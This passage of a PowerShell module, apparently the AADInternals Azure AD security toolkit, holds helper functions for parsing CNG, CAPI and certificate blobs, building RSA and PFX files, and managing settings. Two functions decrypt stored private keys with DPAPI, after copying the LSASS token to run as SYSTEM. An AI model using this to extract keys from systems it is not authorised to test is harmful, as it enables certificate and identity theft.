for($i = 0; $i -le $ByteArray.Count; $i++)
{
$AddByte=$true
for($b = 0; $b -le $BytesToRemove.Count; $b++)
{
$ByteToRemove = $BytesToRemove[$b]
if($ByteArray[$i] -eq $ByteToRemove)
{
$AddByte=$false
}
}
if($AddByte)
{
$retVal+=$ByteArray[$i]
}
}
$retVal
}
}
# Parses the given Cng blob
# Dec 17th 2021
function Parse-CngBlob
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$false)]
[switch]$Decrypt,
[Parameter(Mandatory=$false)]
[switch]$LocalMachine
)
Begin
{
Add-Type -AssemblyName System.Security
}
Process
{
# Parse the header
$version = [System.BitConverter]::ToInt32($Data,0)
if($version -ne 1)
{
Throw "Unsupported version ($Version), expected 1"
}
$unknown = [System.BitConverter]::ToInt32($Data,4)
$nameLen = [System.BitConverter]::ToInt32($Data,8)
$type = [System.BitConverter]::ToInt32($Data,12)
$publicPropertiesLen = [System.BitConverter]::ToInt32($Data,16)
$privatePropertiesLen = [System.BitConverter]::ToInt32($Data,20)
$privateKeyLen = [System.BitConverter]::ToInt32($Data,24)
$unknownArray = $Data[28..43]
$name = [text.encoding]::Unicode.GetString($Data, 44, $nameLen)
Write-Debug "Version: $version"
Write-Debug "Unknown: $unknown"
Write-Debug "Name length: $nameLen"
Write-Debug "Type: $type"
Write-Debug "Public properties length: $publicPropertiesLen"
Write-Debug "Private properties length: $privatePropertiesLen"
Write-Debug "Private key length: $privateKeyLen"
Write-Debug "Unknown array: $(Convert-ByteArrayToHex -Bytes $unknownArray)"
Write-Debug "Name: $name`n`n"
Write-Verbose "Parsing Cng key: $name"
# Set the position
$p = 44+$nameLen
# Parse public properties
$publicProperties = @{}
$publicPropertiesTotal = 0
while($publicPropertiesTotal -lt $publicPropertiesLen)
{
$pubStructLen = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$pubStructType = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$pubStructUnk = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$pubStructNameLen = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$pubStructPropertyLen = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$pubStructName = [text.encoding]::Unicode.GetString($Data, $p, $pubStructNameLen); $p += $pubStructNameLen
$pubStructProperty = $Data[$p..$($p + $pubStructPropertyLen - 1)]; $p += $pubStructPropertyLen
$publicPropertiesTotal += $pubStructLen
if([string]::IsNullOrEmpty($pubStructName))
{
$pubStructName = "Public Key"
}
elseif($pubStructName -eq "Modified")
{
$fileTimeUtc = [System.BitConverter]::ToInt64($pubStructProperty,0)
Remove-Variable pubStructProperty
$pubStructProperty = [datetime]::FromFileTimeUtc($fileTimeUtc)
}
Write-Debug "Public property struct length: $pubStructLen"
Write-Debug "Public property struct type: $pubStructType"
Write-Debug "Public property unknown: $pubStructUnk"
Write-Debug "Public property name length: $pubStructNameLen"
Write-Debug "Public property length: $pubStructPropertyLen"
Write-Debug "Public property name: $pubStructName"
if($pubStructName -eq "Modified")
{
Write-Verbose "Modified: $($pubStructProperty.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture))z`n`n"
}
else
{
Write-Debug "Public property: $(Convert-ByteArrayToHex -Bytes $pubStructProperty)`n`n"
}
$publicProperties[$pubStructName] = $pubStructProperty
}
# Parse private properties
$privateProperties = @{}
$privatePropertiesTotal = 0
$privatePropertiesBlob = $Data[$p..$($p + $privatePropertiesLen -1)]
$privateKeyBlob = $Data[$($p + $privatePropertiesLen)..$($p + $privatePropertiesLen + $privateKeyLen -1)]
$attributes = [ordered]@{
"Name" = $name
"PublicKeyBlob" = $publicProperties["Public Key"]
"PrivateKeyBlob" = @()
"RSAParameters" = Parse-KeyBLOB -Key $publicProperties["Public Key"]
}
if($Decrypt)
{
$dpapiScope = "CurrentUser"
if($LocalMachine)
{
$CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
$dpapiScope = "LocalMachine"
# Elevate to get access to the DPAPI keys
if([AADInternals.Native]::copyLsassToken())
{
Write-Warning "Running as LOCAL SYSTEM. You MUST restart PowerShell to restore $CurrentUser rights."
}
else
{
Write-Error "Could not elevate, unable to decrypt. MUST be run as administrator!"
return
}
}
# Decrypt the private key properties using DPAPI
$decPrivateProperties = [Security.Cryptography.ProtectedData]::Unprotect($privatePropertiesBlob, $DPAPI_ENTROPY_CNG_KEY_PROPERTIES, $dpapiScope)
$attributes["PrivateKeyProperties"] = $decPrivateProperties
# Decrypt the private key blob using DPAPI
$decPrivateBlob = [Security.Cryptography.ProtectedData]::Unprotect($privateKeyBlob, $DPAPI_ENTROPY_CNG_KEY_BLOB, $dpapiScope)
$attributes["PrivateKeyBlob"] = $decPrivateBlob
# Convert to RSAFULLPRIVATEBLOB to get all parameters
$fullPrivateBlob = [AADInternals.Native]::convertKey($decPrivateBlob,"RSAPRIVATEBLOB", "RSAFULLPRIVATEBLOB")
$attributes["FullPrivateKeyBlob"] = $fullPrivateBlob
$attributes["RSAParameters"] = Parse-KeyBLOB -Key $fullPrivateBlob
}
return New-Object psobject -Property $attributes
}
}
# Splits the given string to the given line lenght using the given separator
# Dec 17th 2021
function Split-String
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$String,
[Parameter(Mandatory=$false)]
[int]$LineLength = 64,
[Parameter(Mandatory=$false)]
[string]$Separator = "`n"
)
Process
{
$retVal = ""
$p = 0
while($p -lt $String.Length)
{
if($String.Length - $p -lt $LineLength)
{
$retVal += $String.Substring($p)
break
}
else
{
$retVal += $String.Substring($p, $LineLength)
$retVal += $Separator
$p += $LineLength
}
}
return $retVal
}
}
# Creates a new RSA keyBLOB from the given RSAParameters
# Dec 19th 2021
Function New-KeyBLOB
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[System.Security.Cryptography.RSAParameters]$Parameters,
[Parameter(Mandatory=$True)]
[ValidateSet('RSA1','RSA2','RSA3')]
[String]$Type
)
process
{
# Set the size information
$bitlen = $Parameters.Modulus.Length * 8
$pubLen = $Parameters.Exponent.Length
$modlen = $Parameters.Modulus.Length
$pri1len = 0
$pri2len = 0
# Calculate the needed blob size for RSA1 (RSAPUBLICBLOB)
$headerLen = 6 * [System.Runtime.InteropServices.Marshal]::SizeOf([uint32]::new())
$blobLen = $headerLen + $pubLen + $modLen
# Check the parameters and choose the type accordingly
if($Type -eq "RSA3" -and (!$Parameters.DP -or !$Parameters.DQ -or !$Parameters.InverseQ -or !$Parameters.D))
{
Write-Warning "No parameters for RSA3, creating RSA2"
$Type = "RSA2"
}
if($Type -eq "RSA2" -and (!$Parameters.P -or !$Parameters.D))
{
Write-Warning "No parameters for RSA2, creating RSA1"
$Type = "RSA1"
}
# If RSA2 or RSA3, set the P & Q lenghts
if($Type -ne "RSA1")
{
$pri1len = $Parameters.P.Length
$pri2len = $Parameters.Q.Length
}
# Adjust the total lenght for RSA2 (RSAPRIVATEBLOB)
if($Type -eq "RSA2")
{
$blobLen += $modLen
}
# Adjust the total lenght for RSA3 (RSAFULLPRIVATEBLOB)
if($Type -eq "RSA3")
{
$blobLen += $modLen + (5 * $modlen/2)
}
# Create the blob
$blob = New-Object byte[] $blobLen
$magic = [text.encoding]::ASCII.GetBytes($Type)
$p = 0
# Set the magic and size information
[Array]::Copy($magic, 0, $blob, $p, 4); $p += 4
[Array]::Copy([bitconverter]::GetBytes([UInt32]$bitLen) , 0, $blob, $p, 4); $p += 4
[Array]::Copy([bitconverter]::GetBytes([UInt32]$pubLen) , 0, $blob, $p, 4); $p += 4
[Array]::Copy([bitconverter]::GetBytes([UInt32]$modLen) , 0, $blob, $p, 4); $p += 4
[Array]::Copy([bitconverter]::GetBytes([UInt32]$pri1len), 0, $blob, $p, 4); $p += 4
[Array]::Copy([bitconverter]::GetBytes([UInt32]$pri2len), 0, $blob, $p, 4); $p += 4
# Set the public exponent and modulus
[Array]::Copy($Parameters.Exponent, 0, $blob, $p, $pubLen) ; $p += $pubLen
[Array]::Copy($Parameters.Modulus , 0, $blob, $p, $modLen) ; $p += $modLen
# Set the private parameters for RSA2 & RSA3
if($Type -eq "RSA2" -or $Type -eq "RSA3")
{
[Array]::Copy($Parameters.P , 0, $blob, $p, $pri1len) ; $p += $pri1len
[Array]::Copy($Parameters.Q , 0, $blob, $p, $pri2len) ; $p += $pri2len
}
# Set the private parameters for RSA3
if($Type -eq "RSA3")
{
[Array]::Copy($Parameters.DP , 0, $blob, $p, $pri1len) ; $p += $pri1len
[Array]::Copy($Parameters.DQ , 0, $blob, $p, $pri2len) ; $p += $pri2len
[Array]::Copy($Parameters.InverseQ , 0, $blob, $p, $pri2len) ; $p += $pri2len
[Array]::Copy($Parameters.D , 0, $blob, $p, $modLen)
}
return $blob
}
}
# Creates a new pfx file from the given certificate and private key (RSAParameters)
# Feb 6th 2022
Function New-PfxFile
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true)]
[System.Security.Cryptography.RSAParameters]$RSAParameters,
[parameter(Mandatory=$true)]
[byte[]]$X509Certificate
)
Begin
{
Add-Type -path "$PSScriptRoot\BouncyCastle.Crypto.dll"
}
Process
{
# Create X509 and private key entries
$x509entry = [Org.BouncyCastle.Pkcs.X509CertificateEntry]::new([Org.BouncyCastle.X509.X509Certificate ]::new($X509Certificate))
$privateKeyEntry = [Org.BouncyCastle.Pkcs.AsymmetricKeyEntry ]::new([Org.BouncyCastle.Security.DotNetUtilities]::GetRsaKeyPair($RSAParameters).Private)
# Create a PKCS12 store and add entries
$pkcsStore = [Org.BouncyCastle.Pkcs.Pkcs12StoreBuilder]::new().Build()
$pkcsStore.SetKeyEntry($null,$privateKeyEntry,$x509entry)
# Export as byte array
$stream = [System.IO.MemoryStream]::new()
$pkcsStore.Save($stream,$null,[Org.BouncyCastle.Security.SecureRandom]::new())
$pfxFile = $stream.ToArray()
$stream.Dispose()
# Return
return $pfxFile
}
}
# Checks is the current user running as Administrator
# Feb 6th 2022
function Test-LocalAdministrator
{
[cmdletbinding()]
param(
[parameter(Mandatory=$False)]
[switch]$Throw,
[parameter(Mandatory=$False)]
[switch]$Warn
)
Process
{
$isAdmin = [Security.Principal.WindowsPrincipal]::new([Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)
if(!$isAdmin -and $Warn)
{
Write-Warning "The PowerShell session is not elevated, please run as Administrator."
}
elseif(!$isAdmin -and $Throw)
{
Throw "The PowerShell session is not elevated, please run as Administrator."
}
return $isAdmin
}
}
# Parses the given CAPI blob
# Mar 3th 2022
function Parse-CapiBlob
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data,
[Parameter(Mandatory=$false)]
[switch]$Decrypt,
[Parameter(Mandatory=$false)]
[switch]$LocalMachine
)
Begin
{
Add-Type -AssemblyName System.Security
}
Process
{
# Parse the header
$version = [System.BitConverter]::ToInt32($Data,0)
if($version -ne 2)
{
Throw "Unsupported version ($Version), expected 2"
}
$unk1 = [System.BitConverter]::ToInt32($Data,4)
$nameLen = [System.BitConverter]::ToInt32($Data,8)
$unk2 = [System.BitConverter]::ToInt32($Data,12)
$unk3 = [System.BitConverter]::ToInt32($Data,16)
$publicKeyLen = [System.BitConverter]::ToInt32($Data,20)
$privateKeyLen = [System.BitConverter]::ToInt32($Data,24)
$unk4 = [System.BitConverter]::ToInt32($Data,28)
$unk5 = [System.BitConverter]::ToInt32($Data,32)
$privatePropertiesLen = [System.BitConverter]::ToInt32($Data,36)
$name = [text.encoding]::Ascii.GetString($Data, 40, $nameLen-1)
Write-Verbose "Parsing CAPI key: $name"
# Set the position
$p = 40+$nameLen
$unkArray = $Data[$p..($p + 20 -1)]; $p += 20
# Public key CAPI blob
$publicKeyBlob = $Data[$p..$($p + $publicKeyLen - 1)]; $p += $publicKeyLen
# Get the private key and private properties blobs
$privateKeyBlob = $Data[$p..$($p + $privateKeyLen -1)] ; $p += $privateKeyLen
$privatePropertiesBlob = $Data[$p..$($p + $privatePropertiesLen -1)]
$attributes = [ordered]@{
"Name" = $name
"PrivateKeyBlob" = @()
"RSAParameters" = Parse-CAPIKeyBLOB -Key $publicKeyBlob
}
if($Decrypt)
{
$dpapiScope = "CurrentUser"
if($LocalMachine)
{
$CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
$dpapiScope = "LocalMachine"
# Elevate to get access to the DPAPI keys
if([AADInternals.Native]::copyLsassToken())
{
Write-Warning "Running as LOCAL SYSTEM. You MUST restart PowerShell to restore $CurrentUser rights."
}
else
{
Write-Error "Could not elevate, unable to decrypt. MUST be run as administrator!"
return
}
}
# Decrypt the private key properties using DPAPI
$decPrivateProperties = [Security.Cryptography.ProtectedData]::Unprotect($privatePropertiesBlob, $DPAPI_ENTROPY_CAPI_KEY_PROPERTIES, $dpapiScope)
$attributes["PrivateKeyProperties"] = $decPrivateProperties
# Decrypt the private key blob using DPAPI
$decPrivateBlob = [Security.Cryptography.ProtectedData]::Unprotect($privateKeyBlob, $null, $dpapiScope)
# Parse the CAPI blob
$attributes["RSAParameters"] = Parse-CAPIKeyBLOB -Key $decPrivateBlob
}
return New-Object psobject -Property $attributes
}
}
# Parses the given CAPI Key BLOB and returns RSAParameters
# Mar 8th 2022
Function Parse-CAPIKeyBLOB
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[Byte[]]$Key
)
process
{
$magic = [text.encoding]::ASCII.GetString($Key[0..3])
$modlen = [bitconverter]::ToUInt32($Key,4)
$bitlen = [bitconverter]::ToUInt32($Key,8)
$unknown = [bitconverter]::ToUInt32($Key,12)
$publen = 4
$headerLen = 4 * [System.Runtime.InteropServices.Marshal]::SizeOf([uint32]::new())
# Parse RSA1
$p = $headerLen
$pubexp = $Key[($p)..($p + $publen -1)]; $p += $publen
$modulus = $key[($p)..($p + $modlen -9)]; $p += $modlen
# Parse RSA2 (RSAPRIVATEBLOB)
if($magic -eq "RSA2")
{
$prime1 = $key[($p)..($p-1 + $bitlen/16)] ; $p += $bitlen/16
$p += 4
$prime2 = $key[($p)..($p-1 + $bitlen/16)] ; $p += $bitlen/16
$p += 4
$exponent1 = $key[($p)..($p-1 + $bitlen/16)] ; $p += $bitlen/16
$p += 4
$exponent2 = $key[($p)..($p-1 + $bitlen/16)] ; $p += $bitlen/16
$p += 4
$coefficient = $key[($p)..($p-1 + $bitlen/16)] ; $p += $bitlen/16
$p += 4
$privateExponent = $key[($p)..($p-1 + $bitlen/8)]
}
$attributes=@{
"D" = $privateExponent
"DP" = $exponent1
"DQ" = $exponent2
"Exponent" = $pubexp
"InverseQ" = $coefficient
"Modulus" = $modulus
"P" = $prime1
"Q"= $prime2
}
# Reverse
foreach($name in $attributes.Keys)
{
if($attributes[$name])
{
[Array]::Reverse($attributes[$name])
}
}
[System.Security.Cryptography.RSAParameters]$RSAParameters = New-Object psobject -Property $attributes
return $RSAParameters
}
}
# Gets a substring from a string between given "tags"
# May 23rd 2022
Function Get-Substring
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[string]$String,
[parameter(Mandatory=$true,ValueFromPipeline)]
[string]$Start,
[parameter(Mandatory=$true,ValueFromPipeline)]
[string]$End
)
process
{
$s = $String.IndexOf($Start) + $Start.Length
if($s -lt 0)
{
return
}
$e = $String.IndexOf($End,$s)
if($e -lt 0)
{
return
}
return $String.Substring($s,$e-$s)
}
}
# Parses the given Cert BLOB and returns the parsed attributes
# Aug 17th 2022
function Parse-CertBlob
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[byte[]]$Data
)
Process
{
# Parse the header
$p = 0;
$version = [System.BitConverter]::ToInt32($Data,$p); $p += 4
if($version -notin @(3,4))
{
Throw "Unsupported version ($Version), expected 3 or 4"
}
$unk1 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$tpLen = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$tpBin = $Data[$p..($p+$tpLen-1)]; $p += $tpLen
$unk3 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk4 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk5Len = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk5 = $Data[$p..($p+$unk5Len-1)]; $p += $unk5Len
$unk6 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk7 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk8Len = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk8 = $Data[$p..($p+$unk8Len-1)]; $p += $unk8Len
$unk9 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk10 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$keyFileLen = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$keyFile = $Data[$p..($p+$keyFileLen-1)]; $p += $keyFileLen
$unk12 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk13 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk14Len = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk14 = $Data[$p..($p+$unk14Len-1)]; $p += $unk14Len
$unk15 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk16 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk17 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk18 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk19 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk20 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk21 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk22 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk23 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk24 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk25 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk26 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk27 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk28 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
# Read the key name
$s = $p
while($Data[$p] -ne 0 -and $Data[$p+1] -eq 0)
{
$p+=2
}
$p+=2
$keyName = [System.Text.Encoding]::Unicode.GetString($Data,$s,$p-$s)
$unk29 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
# Read the provider
$s = $p
while($Data[$p] -ne 0 -and $Data[$p+1] -eq 0)
{
$p+=2
}
$p+=2
$provider = [System.Text.Encoding]::Unicode.GetString($Data,$s,$p-$s)
$unk30 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk31 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk32 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk33Len = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk33 = $Data[$p..($p+$unk33Len-1)]; $p += $unk33Len
$domain = [System.Text.Encoding]::Unicode.GetString($unk33)
$unk34 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$unk35 = [System.BitConverter]::ToInt32($Data,$p); $p += 4
# Read the der
$derLen = [System.BitConverter]::ToInt32($Data,$p); $p += 4
$der = $Data[$p..($p+$derLen-1)]; $p += $derLen
$attributes=[ordered]@{
"KeyFileName" = (Convert-ByteArrayToHex -Bytes $keyFile).ToUpper()
"KeyName" = $keyName
"Provider" = $provider
"Domain" = $domain
"DER" = $der
"Thumbprint" = (Convert-ByteArrayToHex -Bytes $tpBin).ToUpper()
}
return New-Object psobject -Property $attributes
}
}
# Checks whether the multi-byte integer has more bytes
function Check-ContinuationBit
{
Param(
[Parameter(Mandatory=$True)]
[byte]$byteVal
)
[byte] $continuationBitmask = 0x80;
return ($continuationBitmask -band $byteval) -ne 0
}
# Encodes integer as multi-byte integer
function Encode-MultiByteInteger
{
param(
[parameter(Mandatory=$true)]
[int]$value
)
Process
{
# If integer is 0, just return that
if($value -eq 0)
{
return 0
}
$byteList = @()
$shiftedValue = $value;
while ($value -gt 0)
{
$addByte = [byte]($value -band 0x7F)
if ($byteList.Count -gt 0)
{
$addByte = $addByte -bor 0x80
}
$newList = @()
$newList += $addByte
$newList += $byteList
$byteList = $newList
$value = $value -shr 7;
}
return $byteList
}
}
# Decodes multi-byte integer from the given byte array
# Sep 29th 2022
function Decode-MultiByteInteger
{
param(
[parameter(Mandatory=$true)]
[byte[]]$Data,
[parameter(Mandatory=$true)]
[ref]$Position,
[parameter(Mandatory=$false)]
[switch]$Reverse,
[parameter(Mandatory=$false)]
[switch]$Google
)
Process
{
$p = $Position.Value
$nBytes = 1
$bytes = New-Object Byte[] 8
if($Google)
{
# Ref: https://developers.google.com/protocol-buffers/docs/encoding#varints
# Strip the continuation bit and add to an array
while((Check-ContinuationBit($Data[$p])) -and $nBytes -lt 8)
{
$bytes[$nBytes-1] = $Data[$p] -band 0x7F
$p++
$nBytes++
}
$bytes[$nBytes-1] = $Data[$p] -band 0x7F
$p++
# Reverse the array
[Array]::Reverse($bytes)
# Shift bits
$n = 7
while($n -gt 8-$nBytes)
{
$shiftedToNext = $bytes[$n-1] -shl $n
$byte = $bytes[$n] -shr 7-$n
$bytes[$n] = $shiftedToNext -bor $byte
$n--
}
$bytes[$n] = $bytes[$n] -shr 7-$n
[Array]::Reverse($bytes)
}
else
{
# Loop until all bytes are handled
while((Check-ContinuationBit($Data[$p])) -and $nBytes -lt 8)
{
# Strip the continuation bit (not really needed as shifting to left)
[byte]$byte = $Data[$p] -band 0x7F
# Shift bits to left 8-$nBytes times
[byte]$shiftedToNext = $byte -shl (8-$nBytes)
# Shift bits to right $nBytes times
$byte = $byte -shr $nBytes
# Add to byte array by binary or as there might be shifted bits
$bytes[$nBytes-1] = $bytes[$nBytes-1] -bor $byte
# Add shifted bits
$bytes[$nBytes] = $shiftedToNext
$nBytes++
$p++
}
# Add to byte array by binary or as there might be shifted bits
$bytes[$nBytes-1] = $bytes[$nBytes-1] -bor $Data[$p]
$p++
}
# Reverse as needed
if($Reverse)
{
$reversedBytes = New-Object Byte[] 8
[Array]::Copy($bytes,0,$reversedBytes,8-$nBytes,$nBytes)
[Array]::Reverse($reversedBytes)
$bytes = $reversedBytes
}
$Position.Value = $p
return [bitconverter]::ToInt64($bytes,0)
}
}
# Gets the content of the given file as byte array
# Sep 30th 2022
function Get-BinaryContent
{
param(
[parameter(Mandatory=$true, ValueFromPipeline, Position=0)]
[string]$Path
)
Process
{
#return [System.IO.File]::ReadAllBytes([System.IO.Path]::GetFullPath($Path))
if($PSVersionTable.PSVersion.Major -ge 6)
{
Get-Content -Path $Path -AsByteStream -Raw
}
else
{
Get-Content -Path $Path -Encoding Byte
}
}
}
# Sets the content of the given file with given byte array
# Sep 30th 2022
function Set-BinaryContent
{
param(
[parameter(Mandatory=$true, ValueFromPipeline, Position=0)]
[string]$Path,
[parameter(Mandatory=$true, ValueFromPipeline, Position=1)]
[byte[]]$Value
)
Process
{
if($PSVersionTable.PSVersion.Major -ge 6)
{
Set-Content -Path $Path -Value $Value -AsByteStream
}
else
{
Set-Content -Path $Path -Value $Value -Encoding Byte
}
}
}
# Load the settings from config.json
# May 29th 2023
function Read-Configuration
{
<#
.SYNOPSIS
Loads AADInternals settings
.DESCRIPTION
Loads AADInternals settings from config.json. All changes made after loading AADInternals module will be lost.
.Example
PS C:\>Read-AADIntConfiguration
#>
[cmdletbinding()]
param()
Process
{
# Clear the settings
$Script:config = @{}
# ConvertFrom-Json -AsHashtable not supported in PowerShell 5.1
$configObject = Get-Content -Path "$PSScriptRoot\config.json" | ConvertFrom-Json
foreach($property in $configObject.PSObject.Properties)
{
$Script:config[$property.Name] = $property.Value
}
}
}
# Save the settings to config.json
# May 29th 2023
function Save-Configuration
{
<#
.SYNOPSIS
Saves AADInternals settings
.DESCRIPTION
Saves the current AADInternals settings to config.json. Settings will be loaded when AADInternals module is loaded.
.Example
PS C:\>Save-AADIntConfiguration
#>
[cmdletbinding()]
param()
Process
{
$Script:config | ConvertTo-Json | Set-Content -Path "$PSScriptRoot\config.json"
Write-Host "Settings saved."
}
}
# Shows the configuration
# May 29th 2023
function Get-Configuration
{
<#
.SYNOPSIS
Shows AADInternals settings
.DESCRIPTION
Shows AADInternals settings
.Example
PS C:\>Get-AADIntSettings
Name Value
---- -----
SecurityProtocol Tls12
User-Agent AADInternals
#>
[cmdletbinding()]
param()
Process
{
$Script:config
}
}
# Get AADInternals setting
# May 29th 2023
function Get-Setting
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true, ValueFromPipeline)]
[string]$Setting
)
Process
{
return $Script:config[$Setting]
}
}
# Sets AADInternals setting value
# May 29th 2023
function Set-Setting
{
<#
.SYNOPSIS
Sets the given setting with given value
.DESCRIPTION
Sets the given setting with given value. To persist, use Save-AADIntConfiguration after setting the value.
.Parameter Setting
Name of the setting to be set
.Parameter Value
Value of the setting
.Example
PS C:\>Set-AADIntSetting -Setting "User-Agent" -Value "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
.Example
PS C:\>Set-AADIntSetting -Setting "User-Agent" -Value "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
PS C:\>Save-AADIntConfiguration
Settings saved.
#>
[cmdletbinding()]
param(
[parameter(Mandatory=$true, ValueFromPipeline, Position=0)]
[string]$Setting,
[parameter(Mandatory=$true, ValueFromPipeline, Position=1)]
[PSObject]$Value
)
Process
{
$Script:config[$Setting] = $value
}
}
# Sets AADInternals User-Agent value
# May 29th 2023
function Set-UserAgent
{
<#
.SYNOPSIS
Sets the User-Agent AADInternals will use in requests.
.DESCRIPTION
Sets a pre configured User-Agent for a specific device that AADInternals will use in requests. Supported devices: 'Windows','MacOS','Linux','iOS','Android'.
To persist, use Save-AADIntConfiguration after setting the User-Agent
.Parameter UserAgent
One of 'Windows','MacOS','Linux','iOS','Android'
.Example
PS C:\>Set-AADIntUserAgent -Device Windows
.Example
PS C:\>Set-AADIntUserAgent -Device Windows
PS C:\>Save-AADIntConfiguration
Settings saved.
#>
[cmdletbinding()]
param(
[parameter(Mandatory=$true)]
[ValidateSet('Windows','MacOS','Linux','iOS','Android')]
[string]$Device
)
Begin
{
$userAgents = @{
"Windows" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
"MacOS" = "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4)"
"Linux" = "Mozilla/5.0 (X11; Linux x86_64)"
"iOS" = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X)"
"Android" = "Mozilla/5.0 (Linux; Android 10)"
}
}
Process
{
Set-Setting -Setting "User-Agent" -Value $userAgents[$Device]
}
}
# Gets AADInternals User-Agent value
# Feb 13 2024
function Get-UserAgent
{
[cmdletbinding()]
param()
Process
{
$userAgent = Get-Setting -Setting "User-Agent"
if($userAgent -eq $null)
{
$userAgent = "AADInternals"
}
return $userAgent
}
}
# Return the string between Start and End
# May 29th 2023
function Get-StringBetween
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$String,
[Parameter(Mandatory=$True)]
[String]$Start,
[Parameter(Mandatory=$True)]
[String]$End,
[Parameter(Mandatory=$False)]
[int]$IncludeEndCharacters = 0
)
Process
{
$s = $String.IndexOf($Start)
if($s -gt -1)
{
$e = $String.IndexOf($End,$s + $Start.Length)
if($e -gt $s)
{
$c = $String.Substring($s + $Start.Length,$e-$s-$Start.Length + $IncludeEndCharacters)
}
}
return $c
}
}
# Parses code from the response, either location header or body.
# Jun 9th 2023
Function Parse-CodeFromResponse
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[PSObject]$Response
)
process
{
# Parse the code from the Location header
# Location: <redirect_uri>?code=<code>&session_state=<state>
# Try first the location header
$redirect = $Response.Headers["Location"]
if([string]::IsNullOrEmpty($redirect))
{
# Didn't work, so try to parse from the body
Write-Verbose "Location header empty, parsing from body."
# Decode \u0026 to &
$redirect = $response.content.Replace("\u0026","&")
}
if(![string]::IsNullOrEmpty($redirect))
{
# PS versions >= 6 header values are a string array
if($redirect -is [String[]])
{
$redirect = $redirect[0]
}
$authorizationCode = Get-StringBetween -String $redirect -Start 'code=' -End '&'
}
if([string]::IsNullOrEmpty($authorizationCode))
{
Throw "Authorization code not received!"
}
Write-Verbose "Code: $authorizationCode"
return $authorizationCode
}
}
# Prompts for password
# Jun 19th 2023
Function Read-HostPassword
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[string]$Prompt
)
process
{
# Use -MaskInput for PowerShell >= 7.1
if( ($PSVersionTable.PSVersion.Major -ge 7) -or
($PSVersionTable.PSVersion.Major -eq 7 -and $PSVersionTable.PSVersion.Minor -ge 1) )
{
$password = Read-Host -Prompt $Prompt -MaskInput
}
else
{
# Use -AsSecureString for PowerShell < 7.1
$securePassword = Read-Host -Prompt $Prompt -AsSecureString
if(!$securePassword)
{
return $null
}
$securePasswordBytes = Convert-HexToByteArray -HexString (ConvertFrom-SecureString $securePassword)
$password = [text.encoding]::Unicode.GetString([Security.Cryptography.ProtectedData]::Unprotect($securePasswordBytes,$null,'CurrentUser'))
}
return $password
}
}
# Reads error stream and returns UTF8 string
# Jun 21st 2023
Function Get-ErrorStreamMessage
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[System.IO.MemoryStream]$errorStream
)
process
{
$errorBytes = New-Object byte[] $errorStream.Length
$errorStream.Position = 0
$errorStream.Read($errorBytes,0,$errorStream.Length) | Out-Null
return [text.encoding]::UTF8.GetString($errorBytes)
}
}
